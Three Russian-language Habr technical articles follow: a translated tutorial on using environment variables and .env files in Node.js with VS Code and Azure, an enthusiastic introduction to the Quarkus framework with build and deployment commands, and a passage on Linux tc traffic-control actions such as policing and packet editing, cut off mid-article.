Буду рад, если эти заметки окажутся кому-либо полезными. | https://habr.com/ru/post/322762/ | null | ru | null |
# Использование переменных окружения в Node.js
Материал, посвящённый переменным окружения в Node.js, перевод которого мы сегодня публикуем, написал [Берк Холланд](https://developer.microsoft.com/ru-ru/advocates/burke-holland), веб-разработчик, в сферу интересов которого входят JavaScript, Node.js и VS Code. Кроме того, стоит отметить, что у него сложились непростые отношения с Java. Вот его история.
Переменные окружения — одна из фундаментальных конструкций среды Node.js, но почему-то я никогда не стремился научиться правильно ими пользоваться. Возможно, случилось так из-за их названия — «Environment Variables». Это название вызывало у меня нечто вроде посттравматического синдрома, неприятные воспоминания о том, как я пытался добавить путь к домашней директории Java в Windows. Я тогда толком не мог понять, надо ли добавлять этот путь в переменную PATH, в переменную JAVA\_HOME, или и туда и туда. Было неясно и то, нужно ли, чтобы в конце этого пути стояла точка с запятой. Собственно говоря, тогда у меня возникал и вопрос о том, почему я использую Java. Как бы там ни было, я наконец нашёл в себе силы и приступил к знакомству с переменными окружения Node.
[](https://habrahabr.ru/company/ruvds/blog/351254/)
Если вы пишете для платформы Node.js, и, так же, как и я, неважно — по каким причинам, до сих пор не особенно хорошо знакомы с переменными окружения — предлагаю это исправить.
Переменные окружения в Node.js
------------------------------
В Node переменные окружения могут быть глобальными (как в Windows), но часто они используются в применении к конкретному процессу, в выполнении которого заинтересован разработчик. Например, если у вас имеется веб-приложение, это значит, что в нём могут применяться следующие переменные окружения:
* HTTP-порт, который будет прослушивать это приложение.
* Строка подключения к базе данных.
* Путь к JAVA\_HOME, ох, подождите, это мимо. Прошу учесть, что выздоровление требует времени.
В этом контексте переменные окружения, на самом деле, больше похожи на «Параметры конфигурации» (Configuration Settings) — по мне, так это звучит куда лучше, чем «Environment Variables».
Если раньше вы программировали для .NET, возможно, вы знакомы с чем-то вроде файла `web.config`. Переменные окружения Node играют практически такую же роль, как настройки из `web.config` — они представляют собой механизм передачи в приложение информации, которую разработчик не хочет жёстко задавать в коде.
Кстати, на тему «hard code» — задания в коде неких значений вместо получений их из внешних источников, хочу поделиться моим собственным твитом.
*Цитирую сам себя на пике помешательства*
Как же использовать переменные окружения в Node.js-приложениях? Мне пришлось изрядно потрудиться для того, чтобы найти хороший материал по переменным окружения в Node, с непременным условием наличия в этом материале достаточного количества шуток о Java. Такого материала я не нашёл, поэтому решил написать его сам.
Вот несколько способов использования переменных окружения в приложениях для Node.js.
Указание переменных окружения в терминале
-----------------------------------------
Вы можете указывать переменные окружения в терминале, в котором планируется запускать Node. Например, если у вас имеется приложение, использующее Express, и вы хотите передать ему сведения о порте, сделать это можно так:
```
PORT=65534 node bin/www
```
Кстати, интересная вещь. Оказывается, самое большое значение, которое может принимать номер порта, это 65535. Как я это узнал? Конечно, нашёл на [StackOverflow](https://stackoverflow.com/questions/113224/what-is-the-largest-tcp-ip-network-port-number-allowable-for-ipv4). Как вообще кто-либо что-либо узнаёт? Но в Node самый большой номер порта — это 65534. Почему? Понятия не имею. Я не могу знать абсолютно всё.
Итак, для использования переменной окружения в коде нужно воспользоваться объектом `process.env`. Выглядит это так:
```
var port = process.env.PORT;
```
Однако использование описанного здесь подхода может плохо кончиться. Если у вас есть, например, строка подключения к базе данных, вы, вероятно, не будете особенно рады перспективам её ввода в терминал. На самом деле, ввод длинных значений в терминале похож на болезненную зависимость, а нам это совершенно ни к чему. Посмотрите сами:
```
PORT=65534 DB_CONN="mongodb://react-cosmos-db:swQOhAsVjfHx3Q9VXh29T9U8xQNVGQ78lEQaL6yMNq3rOSA1WhUXHTOcmDf38Q8rg14NHtQLcUuMA==@react-cosmos-db.documents.azure.com:19373/?ssl=true&replicaSet=globaldb" SECRET_KEY=b6264fca-8adf-457f-a94f-5a4b0d1ca2b9 node bin/www
```
Такой подход не масштабируется, а все хотят масштабирования. По мнению каждого архитектора, рядом с которым мне доводилось сидеть на разных мероприятиях, «масштабирование» — это даже важнее, чем сам факт работоспособности приложения.
Поэтому рассмотрим другой подход, который заключается в применении файлов `.env`.
Использование файлов .env
-------------------------
Файлы `.env` предназначены для хранения переменных окружения. Для использования этой технологии достаточно создать в проекте файл с именем `.env` и внести в него переменные окружения, начиная каждую с новой строки:
```
PORT=65534
DB_CONN="mongodb://react-cosmos-db:swQOhAsVjfHx3Q9VXh29T9U8xQNVGQ78lEQaL6yMNq3rOSA1WhUXHTOcmDf38Q8rg14NHtQLcUuMA==@react-cosmos-db.documents.azure.com:10255/?ssl=true&replicaSet=globaldb"
SECRET_KEY="b6264fca-8adf-457f-a94f-5a4b0d1ca2b9"
```
Читать эти значения можно разными способами. Пожалуй, проще всего — с помощью пакета `dotenv` из `npm`:
```
npm install dotenv --save
```
После установки пакета его нужно подключить к проекту, а затем им можно пользоваться для работы с переменными окружения. Этот пакет найдёт файл `.env` и загрузит переменные, описанные в нём, в Node. Вот как это выглядит:
```
//Использование пакета dotenv для чтения переменных из файла .env в Node
require('dotenv').config();
var MongoClient = require('mongodb').MongoClient;
// Обращение к переменным из .env, которые теперь доступны в process.env
MongoClient.connect(process.env.DB_CONN, function(err, db) {
if(!err) {
console.log("We are connected");
}
});
```
Кстати, хочу поделиться важным советом. Не заливайте файлы `.env` на GitHub. В них находятся сведения, не предназначенные для чужих глаз. Не повторяйте моих ошибок.
Итак, пока всё хорошо, но то, о чём мы тут говорили, не очень-то удобно. Подключать `dotenv` придётся в каждом файле, где надо использовать переменные окружения, и `dotenv` придётся использовать в продакшне, когда, в сущности, вам это не нужно. Я не отношусь к фанатам развёртывания бесполезного кода в продакшне, хотя, мне кажется, до сих пор я только этим и занимался.
Что же делать? К счастью, вы пользуетесь [VS Code](https://code.visualstudio.com/?wt.mc_id=dotenv-medium-buhollan) (я абсолютно в этом уверен), а это значит, что у вас есть ещё несколько вариантов.
Работа с файлами .env в VS Code
-------------------------------
Для начала вы можете установить расширение [DotENV](https://marketplace.visualstudio.com/items?itemName=mikestead.dotenv&wt.mc_id=dotenv-medium-buhollan) для VS Code, которое даст приятную подсветку синтаксиса файлов `.env`.
*Вот как выглядит файл .env без подсветки синтаксиса и с подсветкой*
Кроме того, отладчик VS Code, если вы им пользуетесь, предлагает некоторые более удобные возможности по загрузке значений из файлов `.env`.
Конфигурация запуска VS Code
----------------------------
Отладчик Node.js для VS Code (он устанавливается по умолчанию) поддерживает загрузку файлов `.env` посредством конфигураций запуска. Подробности о конфигурациях запуска можно почитать [здесь](https://code.visualstudio.com/docs/nodejs/nodejs-debugging?WT.mc_id=dotenv-medium-buhollan).
*Создание базовой конфигурации запуска для Node*
После того, как вы создадите базовую конфигурацию запуска для Node (щёлкните по значку с шестерёнкой и выберите Node), можно выполнить одно из следующих действий, или сделать и то и другое.
Первый вариант заключается во включении переменных в конфигурационный файл.
*Переменные в конфигурационном файле*
Это — вполне приемлемый вариант, но меня немного беспокоит то, что каждое значение должно быть строкой. Всё-таки некоторые значения — это числа, а не строки, а в JavaScript есть лишь, скажем так, три основных типа данных, и мне не хотелось бы лишаться одного из них.
Передать переменные окружения в VS Code можно и более простым способом. Мы уже выяснили, что файлы `.env` — это наши друзья, поэтому вместо того, чтобы вписывать в конфигурационный файл значения переменных, просто укажем там путь к файлу `.env`.
*Путь к файлу .env в конфигурационном файле*
До тех пор, пока мы запускаем процесс Node.js из VS Code, файл с переменными окружения будет передаваться этому процессу. При этом нам не придётся втискивать числа в кавычки, делая из них строки, и не придётся разворачивать ненужный код в продакшне. Ну, по крайней мере, вам этого делать не придётся.
Запуск node-скриптов через NPM
------------------------------
Возможно, вы дошли до этого места и подумали о том, что никогда не запускаете Node-проекты командами вида `node …`, всегда пользуясь npm-скриптами вроде `npm start`. Конфигурациями запуска VS Code можно пользоваться и в этом случае. Однако, вместо применения стандартного запуска Node, можно настроить задачу Launch Via NPM.
*Задача Launch Via NPM*
После этого можно настроить значение параметра `envFile`, указав путь к файлу `.env`, и параметра `runtimeArgs` для запуска нужного скрипта. Обычно в качестве скрипта выступает `start` или `debug`.
*Настройка запуска проекта с помощью npm*
Обратите внимание на то, что в `package.json` нужно добавить, к npm-скрипту, флаг `--inspect` для того, чтобы VS Code мог подключить к процессу отладчик. В противном случае, хотя задача и запустится, отладчик не сможет сделать ничего полезного.
*Флаг --inspect в package.json*
Переменные окружения в продакшне
--------------------------------
Итак, мы разобрались с тем, как пользоваться переменными окружения в ходе разработки. Вы, вероятнее всего, не будете применять файлы `.env` в продакшне, да и конфигурация запуска VS Code на сервере особой пользы не принесёт.
В продакшне определение переменных окружения будет зависеть от особенностей используемой платформы. Например, в случае с Azure есть три способа объявления таких переменных и управления ими.
Первый способ заключается в использовании [Azure CLI](https://docs.microsoft.com/en-us/cli/azure/webapp/config/appsettings?view=azure-cli-latest&wt.mc_id=dotenv-medium-buhollan).
```
az webapp config appsettings set -g MyResourceGroup -n MyApp --settings PORT=65534
```
Это работает, но выглядит не очень. Ещё один способ — использование веб-портала Azure. Я не часто пользуюсь веб-порталом, но когда это случается, я обращаюсь к нему именно для установки переменных окружения.
Здесь то, что мы называем «переменными окружения», называется «Application Settings».
*Настройка переменных окружения в Azure*
Ещё один вариант, учитывая то, что вы пользуетесь VS Code, заключается в установке расширения App Service и в настройке вышеописанных Application Settings прямо из редактора.
*Настройка переменных окружения из VS Code*
Мне нравится делать в VS Code абсолютно всё, и если бы там можно было бы писать электронные письма, я бы так и поступал. [Кстати](https://marketplace.visualstudio.com/items?itemName=ccccly.markdown-mail&WT.mc_id=dotenv-medium-buhollan), похоже, моя мечта сбылась.
Итоги
-----
Теперь вы знаете то же, что знаю я (не так много, позволю заметить), и я чувствую, что выполнил свою цель по шуткам на тему Java. Если вдруг их тут недостаточно — вот ещё одна, автор которой неизвестен: «Java — это очень мощный инструмент по превращению XML в стек-трейсы».
Надеемся, этот материал дал возможность восполнить пробелы в знаниях о переменных окружения в Node тем, кто раньше ими не пользовался, а тем, кто уже о них знал, позволил узнать что-нибудь новое о файлах .env, о применении переменных окружения на боевых серверах, и о том, как облегчить себе жизнь, занимаясь разработкой Node-проектов в VS Code. Если тема переменных окружения Node вам интересна — [вот](https://habrahabr.ru/company/ruvds/blog/345724/) одна из наших предыдущих публикаций на эту тему, посвящённая особенностям работы с process.env.
**Уважаемые читатели!** Как вы решаете проблемы использования переменных окружения Node в ходе разработки и в продакшне?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/351254/ | null | ru | null |
# Quarkus — новый взгляд на Cloud Native Java
Привет, Хабр!
В наступившем новом году мы планируем всерьез развивать темы контейнеров, [Cloud-Native Java](https://www.piter.com/product_by_id/112863337) и [Kubernetes](https://www.piter.com/product_by_id/125705747). Логичным продолжением этих тем на русском языке будет рассказ о фреймворке [Quarkus](https://quarkus.io), уже рассмотренном в хорошей статье на Хабре. Сегодняшняя статья посвящена не столько устройству "[субатомной сверхбыстрой Java](https://habr.com/ru/company/haulmont/blog/443242/)", сколько тем перспективам, которые Quarkus привносит в Enterprise.
Java и JVM по-прежнему исключительно популярны, но при работе с бессерверными технологиями и облачно-ориентированными микросервисами Java и другие языки для JVM применяются все реже, так как занимают слишком много места в памяти и слишком медленно загружаются, из-за чего плохо подходят для использования с короткоживущими контейнерами. К счастью, в настоящее время эта ситуация начинает меняться благодаря Quarkus.
### Введение
Чем плотнее я занимаюсь DevOps, контейнерами и бессерверными технологиями, тем чаще обнаруживаю, что пишу **мой контейнеризованный код** в легких контейнерах или [FaaS](https://ru.wikipedia.org/wiki/%D0%A4%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D1%8F_%D0%BA%D0%B0%D0%BA_%D1%83%D1%81%D0%BB%D1%83%D0%B3%D0%B0) **на Python или JavaScript. Java просто слишком тяжел для начальной загрузки**, чтобы использовать его в бессерверном фреймворке. Что касается работы с микросервисами, JavaScript или Python обеспечивают более быструю загрузку и более компактные контейнеры, благодаря чему оказываются эффективнее Java.
*Python и JavaScript – самые лучшие языки для создания облачно-ориентированных микросервисов*
Языку Java **больше 20 лет**, и во времена его зарождения мир был совершенно иным, нежели сейчас. С появлением JVM были решены огромные проблемы – мы получили возможность единожды написать код и запускать его на множестве платформ и операционных систем. Контейнеры позволяют упаковывать приложения, библиотеки и ресурсы операционной системы в отдельные емкости, и каждый такой контейнер может работать где угодно. **Портируемость, которую обеспечивает JVM, теперь не так актуальна**. В свое время мы были готовы нести дополнительные издержки для обеспечения портируемости, но теперь эти времена прошли. **Теперь требуется быстрая работа с минимальными задержками и реактивные приложения, которые всегда будут доступны**. Контейнеры и инструменты для оркестрации контейнеров, например, [Kubernetes](https://kubernetes.io), обеспечивают такие возможности независимо от языка программирования.
Компании, переходящие к использованию микросервисных архитектур, берут имеющиеся у них [Spring](https://spring.io)-сервисы, написанные Java, связывают их в увесистые jar-архивы, добавляют **JDK** и запускают в контейнере, работающем на основе Linux. Такое решение работает, но вам приходится управляться с тяжелыми контейнерами размером по 500МБ, которые приводятся в состояние доступности за 10-30 секунд каждый; это серьезная проблема. После миграции многие компании медленно переходят на использование Python, оставляя сервисы серверной части на Java, а, в конце концов, останавливаются на FaaS.
Бессерверные технологии и FaaS сегодня очень популярны, поскольку позволяют сосредоточиться на написании функций, не беспокоясь при этом об инфраструктуре. Как бы то ни было, все они работают в контейнерах, но облачный провайдер управляет их жизненным циклом. Самое приятное, что, спустя определенное время, провайдер полностью останавливает контейнер и возобновляет его работу только после следующего вызова, то есть, вы оплачиваете только время фактической работы. Первый вызов функции может продлиться несколько больше обычного, это и есть знаменитый **холодный старт**. Дело в том, что контейнеру необходима первичная загрузка. При использовании Python или JavaScript это не такая большая проблема, но в случае с Java первичная загрузка может занимать 10-15 секунд, а это уже приговор и одна из причин снижения популярности Java. Сейчас нам нужен **код, способный запуститься, выполнить задачу, а затем остановиться**. Мы не хотим иметь дел со множеством потоков или долгоиграющими процессами, нам нужны **короткоживущие процессы, которые могут загружаться очень быстро**.
### Знакомство с Quarkus
Если вы читаете технические блоги или следите за новостями, то, возможно, полагаете, что [бессерверная парадигма](https://aws.amazon.com/ru/serverless/) захватывает мир, и все воспринимают ее с крайним энтузиазмом. Сейчас стартап может писать функции и предоставлять их в облаке как услугу – благодаря использованию JavaScript – а также масштабировать их для поддержки миллионов пользователей, без необходимости управлять при этом инфраструктурой. Правда, существует еще и реальный мир за пределами Кремниевой долины: финансовые институты, государственное управление, розничная торговля и множество других отраслей, обслуживаемых при помощи миллионов строк на Java, переписывать которые слишком накладно. Поэтому приходится принять как данность тот факт, что в этих отраслях остается и дальше пользоваться тяжеловесными контейнерами.
[GraalVM](https://graalvm.org) и, в частности, Substrate VM, сегодня открывают двери для славного и долгого будущего языка Java. GraalVM – это **универсальная виртуальная машина** для выполнения приложений, написанных на JavaScript, Python, Ruby, R и языках для JVM, в частности, Java, Scala или Kotlin. Самое классное, что **GraalVM позволяет заранее (в AOT-режиме) компилировать программы в нативный исполняемый файл**. Это означает, что вы можете компилировать ваш код Java непосредственно в машинно-специфичный код. Получаемая в результате программа не работает на Java HotSpot VM, но использует все необходимые компоненты, в частности, управление памятью, планирование потоков с иной реализации виртуальной машины, которая называется Substrate VM. Substrate VM написана на Java, и ее код компилируется в нативный исполняемый файл. Получаемая в результате программа быстрее запускается и, соответственно, дает более низкие издержки в использовании памяти по сравнению с Java VM. Это отлично, но, вероятно, вы думаете: заблаговременная компиляция? Она же противоречит базовой идее, ради которой создавалась JVM, то есть, использованию единожды написанного кода везде! Это же безумие!!! Однако, подумайте сами: теперь у нас есть контейнеры, а им не нужна JVM. Обычные **контейнерные приложения, создаваемые при помощи Spring boot, имеют лишний уровень абстрагирования, который совершенно не нужен в мире, где есть Kubernetes**. У вас есть приложение Java, работающее на JVM внутри контейнера, этот контейнер остается неизменным, поскольку в наши дни готовый продукт – это контейнер, а не приложение. Теперь мы упаковываем контейнеры, а не WAR-файлы. Поэтому, **все издержки, связанные с использованием приложения на JVM внутри контейнера становятся бесполезными**, и AOT становится весьма логичным решением, если вы собираетесь упаковывать ваши приложения в контейнеры.
Правда, AOT-компиляция серьезно ограничивает динамические возможности Java (загрузка классов во время исполнения, рефлексия, прокси, т.д.). На практике это означает, что 90% экосистемы Java без изменений работать не будет. Соответственно, **экосистема Java должна адаптироваться**. Есть и хорошие новости: большинство из этого можно сделать во время сборки!
В этом и заключается сила Quarkus. Он использует GraalVM и предоставляет экосистему, поддерживающую AOT-компиляцию во время сборки; таким образом, при помощи Java можно создавать нативные двоичные файлы. Благодаря Quarkus, GraalVM **поступает в распоряжение Java-разработчиков**.
### Приступаем к работе с Quarkus
Как было объяснено выше, Quarkus обеспечивает заблаговременную компиляцию для Java-приложений, и таким образом получается экосистема сверхзвуковой субатомной Java; Quarkus отличается сверхскоростной загрузкой – и Java возвращается в игру на поле облачно-ориентированной разработки. Меня годами так не воодушевляла какая-либо новая технология – и [я в этом не одинок](https://dzone.com/articles/using-quarkus-to-run-java-apps-on-kubernetes-1).
Почитайте [руководство для начинающих](https://quarkus.io/guides/getting-started) – и убедитесь сами. По-прежнему есть множество компаний, использующих Java+JPA внутри контейнера, но в такой конфигурации загрузка может занимать 15 секунд, а **в случае Quarkus – 0,005!**
*Статистика Quarkus*
Вы используете ту же IDE и тот же инструментарий, к которым привыкли в мире Spring Boot. Для сборки вашего проекта используете Maven или Gradle. Проект можно запускать непосредственно в IDE и поверх нее, вам доступна горячая live-перезагрузка при любых изменениях, и перезапускать приложение при этом не требуется. Quarkus – это не Spring, поэтому, если вы используете Spring Boot, то придется выполнить миграцию Spring-специфичного кода. К счастью, в Quarkus предусмотрен [уровень совместимости для внедрения зависимостей Spring](https://quarkus.io/guides/spring-di), что сильно упрощает работу. Фреймворк Quarkus соответствует стандартам, что означает легкость в портировании и поддержке его кода.
### Процесс разработки Quarkus
Quarkus может использоваться в режиме разработки, этим он напоминает Spring Boot. С ним вы также можете упаковывать ваш проект в толстые jar. Это очень удобно для тестирования и отладки вашего кода, поскольку поддерживается live-перезагрузка; но для выхода в продакшен вам потребуется заблаговременная компиляция. Весь этот процесс показан на следующей схеме:
* Сначала собираете приложение в вашей любимой IDE, а затем можете запустить его в режиме разработчика при помощи: “`mvnw compile quarkus:dev`”, как поступили бы с приложением Spring Boot. Также можете упаковать его в толстый jar.
* Как только закончите предыдущий этап, и результат вас устроит – вы готовы к созданию двоичного файла Java, просто запустите: “`mvnw package -Pnative`”. На это потребуется некоторое время, поскольку в ходе заблаговременной компиляции будет создаваться нативный код! Когда этот шаг будет завершен, у вас в распоряжении окажется сверхмалый и сверхбыстрый исполняемый файл, но работать он сможет лишь на вашей платформе/OS, то есть, он не портируется! Но и это нормально, поскольку мы можем поместить его в контейнер – и таким образом обеспечить портируемость. Вот как это делается: `./mvnw package -Pnative -Dnative-image.docker-build=true`4 – и мы вынимаем исполняемый файл из контейнера Docker, то есть, выполняем нативную сборку внутри контейнера и создаем двоичный файл. Этот прием может не сработать у вас на ноутбуке, если его операционная система отличается от целевой платформы, указанной в файле `DockerFile`, генерируемом Quarkus в ходе создания проекта.
* Затем, после того как у вас будет двоичный файл, просто создаем образ на основе файла docker. `docker build -f src/main/docker/Dockerfile.native -t quarkus-quickstart/quickstart` .
* Наконец, приложение можно запустить в Docker или Kubernetes: `docker run -i --rm -p 8080:8080 quarkus-quickstart/quickstart`
### Возможности Quarkus
В Quarkus гораздо больше возможностей, чем в нативном коде Java.
* Унификация императивных и реактивных возможностей: позволяет комбинировать привычный императивный код с неблокирующим кодом, написанном в реактивном стиле.
* [Разработчику приятно](https://quarkus.io/vision/developer-joy): унифицированная конфигурация, Zero config, live-перезагрузка в мгновение ока, оптимизированный обтекаемый код для 80% распространенных случаев и гибкий код для оставшихся 20% случаев, генерация нативных исполняемых файлов без суеты, live-кодинг.
* Поразительно быстрая загрузка, невероятно малая резидентная область памяти (да, речь не только о размере кучи!), что обеспечивает почти мгновенное вертикальное масштабирование и очень плотное использование памяти при оркестрации контейнеров на таких платформах как Kubernetes. [См. подробнее](https://quarkus.io/vision/container-first).
* Quarkus предлагает целостный, приятный в использовании full-stack фреймоврк, в несущие структуры которого внедрены первосортные библиотеки, которые вы знаете и любите. [Подробнее](https://quarkus.io/vision/standards).
* Поддерживаются библиотеки Hibernate, JPA, REST, JWT, т.д.
* Поддерживаются конфигурации, развернутые в [Kubernetes](https://kubernetes.io) и [OpenShift](https://www.openshift.com)
* Открытая трассировка (open tracing) с использованием Jaeger
* Поддержка [Kotlin](https://quarkus.io/guides/kotlin)
* Обмен сообщениями при помощи Kafka, Camel…
* И многое другое, познакомьтесь со [списком расширений](https://quarkus.io/extensions/)!
### Экосистема Quarkus
**Короче говоря, теперь можно запускать традиционные транзакционные сервисы JPA/JTA в супербыстрых легковесных контейнерах – как в облаке, так и на территории предприятия**.
### Пример Quarkus
В этом разделе давайте в упрощенном виде рассмотрим [руководство для начинающих](https://quarkus.io/guides/getting-started), чтобы составить впечатление о мощи Quarkus.
Простейший способ создать новый проект Quarkus – открыть окно командной строки и выполнить в нем следующую команду:
```
mvn io.quarkus:quarkus-maven-plugin:0.12.0:create \
-DprojectGroupId=org.acme \
-DprojectArtifactId=getting-started \
-DclassName="org.acme.quickstart.GreetingResource" \
-Dpath="/hello"
```
Таким образом генерируется проект Maven с GreetingResuce, предоставляющий конечную точку /hello. Также генерируются докерные образы Dockerfile для нативных файлов и jvm (традиционные образы в виде толстых jar). Код получается очень чистым и простым:
```
@Path("/hello")
public class GreetingResource { @GET
@Produces(MediaType.TEXT_PLAIN)
public String hello() {
return "hello";
}
}
```
Для запуска приложения используйте: `./mvnw compile quarkus:dev`
Приложение упаковывается при помощи ./mvnw package. В результате получается 2 jar-файла:
* getting-started-1.0-SNAPSHOT.jar – содержит только классы и ресурсы проектов. Это обычный артефакт, получающийся в результате сборки Maven;
* getting-started-1.0-SNAPSHOT-runner.jar – это исполняемый jar. Учтите, что это не «uber-jar», здесь есть и зависимости, они копируются в каталог target/lib.
Запустить приложение можно с помощью: java -jar target/getting-started-1.0-SNAPSHOT-runner.jar
Затем нужно скачать и установить GraalVM и задать переменную окружения `GRAALVM_HOME`.
Теперь можно создать нативный исполняемый файл при помощи: `./mvnw package -Pnative -Dnative-image.docker-build=true`.
Вот как создается образ Docker: `docker build -f src/main/docker/Dockerfile.native -t quarkus-quickstart/quickstart` .
Теперь его можно запустить при помощи любого движка оркестрации контейнеров, в случае, если вы используете **minishift**:
```
kubectl run quarkus-quickstart --image=quarkus-quickstart/quickstart:latest --port=8080 --image-pull-policy=IfNotPresent
```
```
kubectl expose deployment quarkus-quickstart --type=NodePort
```
Вот и все!; теперь у вас есть контейнер с REST-сервисом на Java, запускающийся за 0.004 секунд!
### Вывод
Теперь понятно, почему меня так восхищает фреймворк Quarkus, поддерживаемый Red Hat. Я действительно считаю, что он изменит технологический ландшафт Java и обеспечит большим традиционным предприятиям реальную возможность миграции в облако.
**Kubernetes + Knative + Quarkus** меняют правила игры в облачно-ориентированной разработке и порадуют любого Java-разработчика.
В этом [репозитории](https://github.com/quarkusio/quarkus-quickstarts) – множество интересных примеров! | https://habr.com/ru/post/482968/ | null | ru | null |
# QoS в Linux: издеваемся над трафиком
В [предыдущей статье](http://habrahabr.ru/blogs/sysadm/138463/) я рассказывал про фильтр U32. В этой статье речь пойдёт о так называемых tc actions — действиях, которые можно производить над трафиком. Например, можно построить файерволл без использования iptables/netfilter, или изменять отдельные байты в пакетах, перенаправлять/зеркалировать трафик на другие интерфейсы. Осваивать это будем на примерах. Продолжение под катом.
##### Что же это за tc actions такие?
Traffic Control Action (далее просто «действия») — это расширение фильтров в подсистеме управления трафиком. Расширения эти нужны для самых разнообразных нужд — от простейшего отбрасывания пакетов до изменений самого трафика. Действие прикрепляется к отдельному фильтру, и таким образом манипуляции производятся только над выбранным трафиком, что добавляет гибкости. Кроме того, можно строить целые цепочки действий через пайпы (подобно конвейерной обработке данных в консоли), комбинируя их. Манипуляции могут производиться как над входящим трафиком, так и над исходящим.
Прежде всего нам необходимо добавить классовую или бесклассовую дисциплину к интерфейсу, а к ней уже будут добавляться фильтры с действиями. Если мы хотим издеваться над входящим трафиком, то надо добавлять ingress дисциплину. Её отличительной особенностью является то, что её хэндл всегда равен «ffff:» и она всегда является бесклассовой.
Естественно, в ядро должны быть включены соответствующие модули. Находятся они в ветке Networking support — Networking options — QoS and/or fair queueing. Вам необходимы включенные опции Actions и модули с действиями, которые будете использовать. В дистрибутивных ядрах, обычно, всё уже включено.
##### Простейший пример использования действий
Для упрощения построения фильтров, мы будем отбирать трафик для манипуляций с помощью меток. Этот способ подходит лишь для исходящего трафика. Почему так? Давайте посмотрим на эту [картинку](http://www.imagestream.com/~josh/PacketFlow.gif), на которой изображён путь пакета по сетевому стеку Linux. Как можно заметить, дисциплина и классификация входящих пакетов выполняется гораздо раньше, чем любые хуки netfiter, и поэтому нам просто негде пометить пакет раньше. В этом случае, для классификации имеет смысл строить фильтры по другим критериям, например, используя U32. Другой способ обойти данную проблему — перенаправлять трафик на другой интерфейс.
Давайте рассмотрим простейший пример применения действий. Наверняка, многие с ним уже сталкивались. Речь пойдёт о ограничениях полосы пропускания для отдельных типов трафика с помощью так называемого полисера. Полисер работает по алгоритму текущего ведра (почитать об этом алгоритме можно на [википедии](http://ru.wikipedia.org/wiki/Алгоритм_текущего_ведра) или у Таненбаума).
Допустим, мы хотим ограничить скорость входящего трафика протокола tcp c ip-адреса 192.168.10.3 на адрес 192.168.10.5. Можно сделать это следующим образом:
```
#добавляем дисциплину для
#входящего трафика
tc qdisc add \
dev eth0 \
ingress
#добавляем фильтр с полисером
#протокол tcp
#адрес источника 192.168.10.3/32
#адрес назначения 192.168.10.5/32
tc filter add \
dev eth0 \
parent ffff: \
pref 10 \
protocol ip \
handle ::1 \
u32 \
match ip protocol 6 0xff \
match ip src 192.168.10.3/32 \
match ip dst 192.168.10.5/32 \
action police \
rate 2Mbit burst 200K exceed-conform drop
```
Самый большой интерес для нас представляют две последние строки (если вам непонятны и другие строки, то прочтите LARTC и про фильтр U32).
* action police — указывает на то, что подпадающий под фильтр трафик будет обрабатываться полисером. Далее идут параметры полисера.
* rate 2Mbit burst 200K — задаём полосу пропускания в 2 мегабита в секунду. «burst 200K» — это один из параметров, нужный для правильной работы полисера. Есть и другие параметры, но мы их не будем рассматривать.
* exceed-conform drop — определяет действие над пакетами, которые «переливаются через край ведра», в данном случае они отбрасываются. Пакеты же, которые влезают в полосу 2 мегабита пропускаются.
Запустим, например iperf на обоих машинах и измерим скорость. Если всё правильно сделано, то скорость от 192.168.10.3 до 192.168.10.5 должна быть в районе двух мегабит (это в случае, если кроме тестовых данных между узлами ничего не передаётся). В статистике можно увидеть, сколько данных прошло через фильтр, сколько раз он сработал, сколько пакетов было пропущено и отброшено и т.п.
```
~$ iperf -s -p 10500
------------------------------------------------------------
Server listening on TCP port 10500
TCP window size: 85.3 KByte (default)
------------------------------------------------------------
[ 4] local 192.168.10.5 port 10500 connected \
with 192.168.10.3 port 59154
[ ID] Interval Transfer Bandwidth
[ 4] 0.0-11.2 sec 2.73 MBytes 2.04 Mbits/sec
~$ tc -s -p f ls dev eth0 parent ffff:
filter protocol ip pref 10 u32
filter protocol ip pref 10 u32 fh 800: ht divisor 1
filter protocol ip pref 10 u32 fh 800::1 \
order 1 key ht 800 bkt 0 terminal flowid ??? \
(rule hit 2251145 success 4589)
match IP src 91.193.236.62/32 (success 5843 )
match IP dst 91.193.236.44/32 (success 4608 )
match IP protocol 6 (success 4589 )
action order 1:
police 0x1e rate 2000Kbit burst 200Kb mtu 2Kb \
action drop overhead 0b ref 1 bind 1
Action statistics:
Sent 6870220 bytes 4589 pkt
(dropped 761, overlimits 761 requeues 0)
backlog 0b 0p requeues 0
```
Подобным образом используются и другие действия. Для каждого действия можно вызвать небольшую справку по параметрам. Например, для того же полисера это можно сделать командой:
```
tc filter add \
dev eth0 \
parent ffff: \
u32 \
match u32 0 0 \
action police \
help
Usage: ... police rate BPS burst BYTES[/BYTES]
[ mtu BYTES[/BYTES] ] [ peakrate BPS ]
[ avrate BPS ] [ overhead BYTES ]
[ linklayer TYPE ] [ ACTIONTERM ]
Old Syntax
ACTIONTERM := action [/NOTEXCEEDACT]
New Syntax
ACTIONTERM := conform-exceed [/NOTEXCEEDACT]
Where:
\*EXCEEDACT := pipe | ok | reclassify | drop | continue
Where: pipe is only valid for new syntax
```
Для того, чтобы узнать подсказку к другим действиям, просто укажите их название вместо «police».
##### Краткий перечень действий
На текущий момент в ядро включены следующие действия:
* police — как и говорилось ранее, реализует функции полисера для ограничения скоростей.
* gact — generic action — позволяет пропускать, отбрасывать, переклассифицировать пакеты и т.п. С помощью этого действия можно реализовать подобие файерволла.
* mirred — с помощью этого расширения можно зеркалировать или перенаправлять пакеты на другие сетевые интерфейсы. Широкое применение получило совместно с IFB-интерфейсами для сглаживания (шейпинга) входящего трафика.
* ipt — iptables target — даёт применять к пакетам действия iptables, например, маркирование. В этом случае, если фильтр прикреплён к ingress-дисциплине, то это примерно соответствует действиям в цепочке mangle-prerouting.
* nat — stateless nat — реализует преобразование сетевых адресов без учёта состояний. Т.е. просто меняет в заголовке один ip-адрес на другой.
* pedit — packet edit — с его помощью можно изменять в пакетах отдельные биты и байты. Пример его применения будет позже.
* skbedit — позволяет изменять поля структуры sk\_buf, в которой хранится пакет. Применяется для изменения приоритета, в основном.
* csum — check sum update — пересчитывает контрольные суммы и обновляет их значения в заголовках пакетов. Обычно используется совместно с pedit.
##### Объединение действий в цепочку
